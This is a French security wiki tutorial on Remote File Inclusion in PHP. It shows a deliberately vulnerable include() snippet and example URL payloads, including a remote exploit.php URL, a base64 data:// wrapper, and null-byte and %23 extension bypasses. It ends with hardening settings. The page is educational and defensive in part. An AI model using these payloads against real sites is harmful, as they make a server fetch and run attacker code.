Outils pour utilisateurs

Outils du site


web:injection_rfi

Ceci est une ancienne révision du document !


Remote File Inclusion : RFI

1.Presentation

Explication de la faille + fonctionnement du logiciel

Le RFI est une faille permettant à un attaquant d'inclure un fichier distant. Cette vulnérabilité est basé sur des fonctions tels que include ou encore require (pour le php). D'autres langages comme le Javascript et l'ASP sont aussi impactés.

Les conséquences sont multiples tels que :

  1. L'exécution de code sur le serveur web
  2. L'exécution de code sur le côté client comme le JavaScript qui peut conduire à d'autres attaques comme Cross-site scripting (XSS)
  3. Déni de service (DoS)
  4. Le vol de données / Manipulation

Ces types d’attaques sont de moins en moins présentes dans les applications qui sont basées majoritairement sur des framework robustes. Mais ces vulnérabilités existent bel et bien, il est donc intéressant de connaître des méthodes d’attaques pour en mesurer la gravité.

Un exemple de code vulnérable :

<?php
$incfile = $_GET["file"];
include($incfile.".php");
?>

Dans cette exemple le nom du fichier est extrait depuis la requete HTTP et aucunes validations ne lui est appliquées.

La détection de cette faille est relativement simple car si on inclus un fichier inexistant on se retrouve avec une erreur du style :

Warning: include(test.php): failed to open stream: No such file or directory in /test/index.php on line 18 
Warning: include(): Failed opening 'test.php' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /test/index.php on line 18 

2.Exploitation

Le but de l'exploitation est d'inclure un fichier distant sur le serveur.

2.1 Méthode 1 : RFI basique

On passe en paramètre une url pointant vers un script externe :

http://localhost/rfi.php?page=http://wikisecu.fr/exploit.php

Ce script sera récupéré par l’application et exécuté puis rendu dans la page résultante.

2.2 Méthode 2 : DATA URI

Nous allons utiliser le wrapper PHP DATA pour executer du code php.

Tout d'abord nous allons encoder notre script en base64

Soit grâce à un commande bash :

echo -n "<?php echo 'vulnerable'; ?>" | base64 

PD9waHAgZWNobyAndnVsbmVyYWJsZSc7ID8+

Soit grâce au site : Base64Encode

Pour l'exploitation :

http://localhost/rfi.php?page=data://text/plain;base64,notre_script_encodé_en_base64

On obtiens :

http://localhost/rfi.php?page=data://text/plain;base64,PD9waHAgZWNobyAndnVsbmVyYWJsZSc7ID8+

Cela aura pour effet d'afficher “vulnérable” sur le site. Je vous laisse imaginer des scripts plus poussé pour effectuer tel ou tel actions.

2.3 Méthode 3 : Bypass d'extensions auto ajoutées

Il se peut que lorsque que vous essayer d'inclure un script distant le site ajoute automatiquement une extention (.php / .text /.js …)

Il y'a deux façon pour éviter cela :

Première solution : Le null byte (CF faille LFI)

http://localhost/rfi.php?page=http://wikisecu.fr/exploit.php%00

Seconde solution (fonctionne uniquement sur certain site) : Le caractère #

Le caractère # une fois encodé donne %23

http://localhost/rfi.php?page=http://wikisecu.fr/exploit.php%23

3.Comment se protéger

Il est possible de désactiver le support en passant la valeur des directives “allow_url_open” et “allow_url_include” à “Off”.

Vous pouvez bloquer l’utilisation des wrappers en installant l’extension Suhosin pour PHP (sauf si “allow_url_include” = “On”).

Source :

http://blog.clever-age.com/fr/2014/10/21/owasp-local-remote-file-inclusion-lfi-rfi/

OWASP

Wikipedia

web/injection_rfi.1457692324.txt.gz · Dernière modification: 2016/07/04 08:37 (modification externe)